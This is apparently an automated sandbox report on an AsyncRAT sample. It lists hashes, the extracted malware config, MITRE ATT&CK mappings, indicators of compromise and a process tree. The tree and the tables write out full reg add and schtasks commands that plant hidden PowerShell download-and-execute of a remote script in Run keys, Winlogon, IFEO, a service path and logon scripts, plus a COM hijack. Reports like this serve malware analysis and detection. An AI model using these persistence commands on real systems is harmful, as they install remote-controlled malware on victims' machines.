asyncrat | 5c2cd0a4ce8a21673021969649a1b597ed8264251cc6c22c0208f5b00bbc6d86

Analysis

max time kernel
900s
max time network
902s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
12/10/2026, 16:11

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General

Target
may thang report ngu.exe
Size 90KB
Sample261012-tnftrsty4p
SHA256 5c2cd0a4ce8a21673021969649a1b597ed8264251cc6c22c0208f5b00bbc6d86
MD5 3794e4942c4db134d230b2f91e0ebe55
SHA1 2084996b663ebd9c3b9f6cfd8fb03dfa2f400900
SHA512 a4e33b4cbacc128136fbc96646c6e3c85500addadec79670de0d57445165859393a1bd59456e33cccc08416a01b1394d2d9266238d4a107ea22f83f8fa4e2a68
SSDEEP 1536:wxtLZxKyBnfIXSgVJbBFuvcyLNFPZAlym+nAQas5GcRLdEUqx:wx4yBFgVJbBMcNV+Es5rpax
TLSH
T1E793F8443BFD4116F2BF5FBDADB16104497AB9636811DB5C1CA420CE0A32FC19992BBB
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

adware default discovery execution asyncrat persistence privilege_escalation rat spyware

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://tg88.surf/malware/load.ps1

Extracted

Family

asyncrat

Version

0.5.8

Botnet

Default

Mutex

1O0tkbihPOqN

Attributes

delay
3
install
false
install_file
Top1Server.exe
install_folder
%AppData%

aes.plain

Signatures

Family: AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

Modifies WinLogon for persistence 2 TTPs 1 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://tg88.surf/malware/load.ps1')\""	reg.exe

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
23	1540	powershell.exe
26	1540	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1540	powershell.exe
3956	powershell.EXE
4328	powershell.EXE
1712	powershell.EXE

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 2 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://tg88.surf/malware/load.ps1')\""	reg.exe

Sets service image path in registry 3 TTPs 1 IoCs

This determines the executable launched when a service starts. It can be used to establish persistence.

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Windows Service

T1543.003

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\MalwareService\ImagePath = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://tg88.surf/malware/load.ps1')\""	reg.exe

Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
persistence privilege_escalation

Component Object Model Hijacking
T1546.015

Registers new Windows logon scripts automatically executed at logon. 1 TTPs 1 IoCs

persistence

Logon Script (Windows)

T1037.001

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000\Environment\UserInitMprLogonScript = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://tg88.surf/malware/load.ps1')\""	reg.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\MalwareBackdoor = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://tg88.surf/malware/load.ps1')\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\C2_Persistence = "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://tg88.surf/malware/load.ps1')\""	reg.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 9 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2948	cmd.exe
1288	cmd.exe
4136	cmd.exe
1708	cmd.exe
3144	cmd.exe
4616	cmd.exe
4588	cmd.exe
4080	cmd.exe
4000	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	may thang report ngu.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	may thang report ngu.exe

System Location Discovery: System Language Discovery 1 TTPs 19 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	may thang report ngu.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Meterpreter User-Agent 20 IoCs

Uses user-agent string related to Meterpreter framework.

description	flow	ioc
HTTP User-Agent header	207	Meterpreter/1.0 (Windows)
HTTP User-Agent header	16	Meterpreter/1.0 (Windows)
HTTP User-Agent header	66	Meterpreter/1.0 (Windows)
HTTP User-Agent header	164	Meterpreter/1.0 (Windows)
HTTP User-Agent header	172	Meterpreter/1.0 (Windows)
HTTP User-Agent header	195	Meterpreter/1.0 (Windows)
HTTP User-Agent header	50	Meterpreter/1.0 (Windows)
HTTP User-Agent header	53	Meterpreter/1.0 (Windows)
HTTP User-Agent header	62	Meterpreter/1.0 (Windows)
HTTP User-Agent header	186	Meterpreter/1.0 (Windows)
HTTP User-Agent header	27	Meterpreter/1.0 (Windows)
HTTP User-Agent header	31	Meterpreter/1.0 (Windows)
HTTP User-Agent header	39	Meterpreter/1.0 (Windows)
HTTP User-Agent header	102	Meterpreter/1.0 (Windows)
HTTP User-Agent header	103	Meterpreter/1.0 (Windows)
HTTP User-Agent header	134	Meterpreter/1.0 (Windows)
HTTP User-Agent header	174	Meterpreter/1.0 (Windows)
HTTP User-Agent header	361	Meterpreter/1.0 (Windows)
HTTP User-Agent header	22	Meterpreter/1.0 (Windows)
HTTP User-Agent header	24	Meterpreter/1.0 (Windows)

Modifies Internet Explorer settings 1 TTPs 2 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000\Software\Microsoft\Internet Explorer\Toolbar	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000\Software\Microsoft\Internet Explorer\Toolbar\Locked = "1"	explorer.exe

Modifies registry class 18 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\NotificationData	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{374DE290-123F-4565-9164-39C4925E467B}\Instance\	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\WOW6432Node\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}	reg.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 00000000ffffffff	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A0953C92-50DC-43bf-BE83-3742FED03C9C}\Instance\	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\WOW6432Node	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\WOW6432Node\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32\ = "C:\\Windows\\Temp\\malware.dll"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\Local Settings	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\WOW6432Node\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A8CDFF1C-4878-43be-B5FD-F8091C1C60D0}\Instance\	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1CF1260C-4DD0-4ebb-811F-33C572699FDE}\Instance\	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Instance\	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\WOW6432Node\CLSID	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{3ADD1653-EB32-4cb0-BBD7-DFA0ABB5ACCA}\Instance\	explorer.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1932	schtasks.exe
3708	schtasks.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
4768	explorer.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1540	powershell.exe
1540	powershell.exe
3024	may thang report ngu.exe
3024	may thang report ngu.exe
1540	powershell.exe
3024	may thang report ngu.exe
3024	may thang report ngu.exe
3024	may thang report ngu.exe
3024	may thang report ngu.exe
3024	may thang report ngu.exe
3024	may thang report ngu.exe
3024	may thang report ngu.exe
3024	may thang report ngu.exe
4140	powershell.exe
4140	powershell.exe
4140	powershell.exe
3024	may thang report ngu.exe
3024	may thang report ngu.exe
3024	may thang report ngu.exe
3024	may thang report ngu.exe
3024	may thang report ngu.exe
3024	may thang report ngu.exe
3024	may thang report ngu.exe
3024	may thang report ngu.exe
3024	may thang report ngu.exe
3024	may thang report ngu.exe
3024	may thang report ngu.exe
3024	may thang report ngu.exe
3024	may thang report ngu.exe
3024	may thang report ngu.exe
3024	may thang report ngu.exe
3024	may thang report ngu.exe
3024	may thang report ngu.exe
3024	may thang report ngu.exe
3024	may thang report ngu.exe
3024	may thang report ngu.exe
3024	may thang report ngu.exe
3024	may thang report ngu.exe
3024	may thang report ngu.exe
3024	may thang report ngu.exe
3024	may thang report ngu.exe
3024	may thang report ngu.exe
3024	may thang report ngu.exe
3024	may thang report ngu.exe
3024	may thang report ngu.exe
3024	may thang report ngu.exe
3024	may thang report ngu.exe
3024	may thang report ngu.exe
3024	may thang report ngu.exe
3024	may thang report ngu.exe
3024	may thang report ngu.exe
3024	may thang report ngu.exe
3024	may thang report ngu.exe
3024	may thang report ngu.exe
3024	may thang report ngu.exe
3024	may thang report ngu.exe
3024	may thang report ngu.exe
3024	may thang report ngu.exe
3024	may thang report ngu.exe
3024	may thang report ngu.exe
3024	may thang report ngu.exe
3024	may thang report ngu.exe
3024	may thang report ngu.exe
3024	may thang report ngu.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
4768	explorer.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeDebugPrivilege	1540	powershell.exe
Token: SeDebugPrivilege	3024	may thang report ngu.exe
Token: SeDebugPrivilege	4140	powershell.exe
Token: SeDebugPrivilege	3956	powershell.EXE
Token: SeDebugPrivilege	4328	powershell.EXE
Token: SeDebugPrivilege	1712	powershell.EXE

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
4768	explorer.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4768	explorer.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 3024 wrote to memory of 4080	3024	may thang report ngu.exe	88
PID 3024 wrote to memory of 4000	3024	may thang report ngu.exe	90
PID 3024 wrote to memory of 2948	3024	may thang report ngu.exe	92
PID 4080 wrote to memory of 1756	4080	cmd.exe	94
PID 3024 wrote to memory of 4616	3024	may thang report ngu.exe	95
PID 4000 wrote to memory of 2856	4000	cmd.exe	97
PID 3024 wrote to memory of 1288	3024	may thang report ngu.exe	98
PID 3024 wrote to memory of 4588	3024	may thang report ngu.exe	100
PID 3024 wrote to memory of 4136	3024	may thang report ngu.exe	102
PID 4616 wrote to memory of 4148	4616	cmd.exe	104
PID 2948 wrote to memory of 1148	2948	cmd.exe	106
PID 3024 wrote to memory of 1708	3024	may thang report ngu.exe	107
PID 1288 wrote to memory of 4360	1288	cmd.exe	109
PID 3024 wrote to memory of 3144	3024	may thang report ngu.exe	110
PID 4588 wrote to memory of 4696	4588	cmd.exe	112
PID 4136 wrote to memory of 2516	4136	cmd.exe	114
PID 3144 wrote to memory of 1932	3144	cmd.exe	115
PID 1708 wrote to memory of 3708	1708	cmd.exe	116

C:\Users\Admin\AppData\Local\Temp\may thang report ngu.exe
"C:\Users\Admin\AppData\Local\Temp\may thang report ngu.exe"
1⤵
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3024
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://tg88.surf/malware/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4080
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://tg88.surf/malware/load.ps1')\"" /f
    3⤵
    - Adds Run key to start application
    - System Location Discovery: System Language Discovery
    PID:1756
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://tg88.surf/malware/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4000
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://tg88.surf/malware/load.ps1')\"" /f
    3⤵
    - Adds Run key to start application
    - System Location Discovery: System Language Discovery
    PID:2856
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://tg88.surf/malware/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2948
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://tg88.surf/malware/load.ps1')\"" /f
    3⤵
    - Event Triggered Execution: Image File Execution Options Injection
    - System Location Discovery: System Language Discovery
    PID:1148
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://tg88.surf/malware/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4616
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://tg88.surf/malware/load.ps1')\"" /f
    3⤵
    - Modifies WinLogon for persistence
    - System Location Discovery: System Language Discovery
    PID:4148
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32" /ve /t REG_SZ /d "C:\Windows\Temp\malware.dll" /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1288
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32" /ve /t REG_SZ /d "C:\Windows\Temp\malware.dll" /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry class
    PID:4360
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://tg88.surf/malware/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4588
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://tg88.surf/malware/load.ps1')\"" /f
    3⤵
    - Registers new Windows logon scripts automatically executed at logon.
    - System Location Discovery: System Language Discovery
    PID:4696
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\SYSTEM\CurrentControlSet\Services\MalwareService" /v ImagePath /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://tg88.surf/malware/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4136
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SYSTEM\CurrentControlSet\Services\MalwareService" /v ImagePath /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://tg88.surf/malware/load.ps1')\"" /f
    3⤵
    - Sets service image path in registry
    - System Location Discovery: System Language Discovery
    PID:2516
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://tg88.surf/malware/load.ps1')\"" /sc onlogon /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1708
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://tg88.surf/malware/load.ps1')\"" /sc onlogon /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:3708
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://tg88.surf/malware/load.ps1')\"" /sc minute /mo 5 /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3144
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://tg88.surf/malware/load.ps1')\"" /sc minute /mo 5 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:1932

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://tg88.surf/malware/load.ps1')"
1⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1540

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4140

C:\Windows\explorer.exe
explorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://tg88.surf/malware/load.ps1')"
1⤵
PID:5468

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
PID:4768

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE" -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString("http://tg88.surf/malware/load.ps1")"
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
PID:3956

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:5416

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE" -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString("http://tg88.surf/malware/load.ps1")"
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
PID:4328

C:\Windows\System32\SecurityHealthHost.exe
\\?\C:\Windows\System32\SecurityHealthHost.exe {08728914-3F57-4D52-9E31-49DAECA5A80A} -Embedding
1⤵
PID:2984

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE" -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString("http://tg88.surf/malware/load.ps1")"
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
PID:1712

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Boot or Logon Initialization Scripts

T1037

Logon Script (Windows)

T1037.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Component Object Model Hijacking

T1546.015

Image File Execution Options Injection

T1546.012

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Boot or Logon Initialization Scripts

T1037

Logon Script (Windows)

T1037.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Component Object Model Hijacking

T1546.015

Image File Execution Options Injection

T1546.012

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 30968549dad31e60a30bcfafe0bc33e745f34f538841d09b91306ea455eee958
MD5 f623929fbf303a8b140095d9568ac988
SHA1 8c39ae9758011dabd587c6f4ae7a63b11343106d
SHA512 a75f1a30783549196144f66a43688f6eda179859f804ced37e03a1ee4d445e87466f1f43b6288dfe775833f9cda36e23ce2796a771515202691ae59162d6efe6
TLSH
T1F7215733F3CC8624DC9A413650CEAC1136B687DB409ECE6BBB84D558B42F289DE61160
MD5 SHA1 SHA512 TLSH

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 948B
SHA256 62246c33642b526f86af2a05c88cacdd63cb70229c23e14eef65a5403140e1dc
MD5 2b50625932ea24f63690e6a89a4a5fed
SHA1 15549ad001c456e65c322aeee2a6d306bc42c643
SHA512 acae29afbebcf850386f77ed69f7f145cdabdca9f8991fe08b1cdf2cf4037abdf1b3116656515469afe418107bbb9d2d3da6e7d2dda66c477da31db32e938f2c
TLSH
T128116633F3CC8624DC99413A10CEA81176B68BCB40DECE6B7B84D154A42F685DE60260
MD5 SHA1 SHA512 TLSH

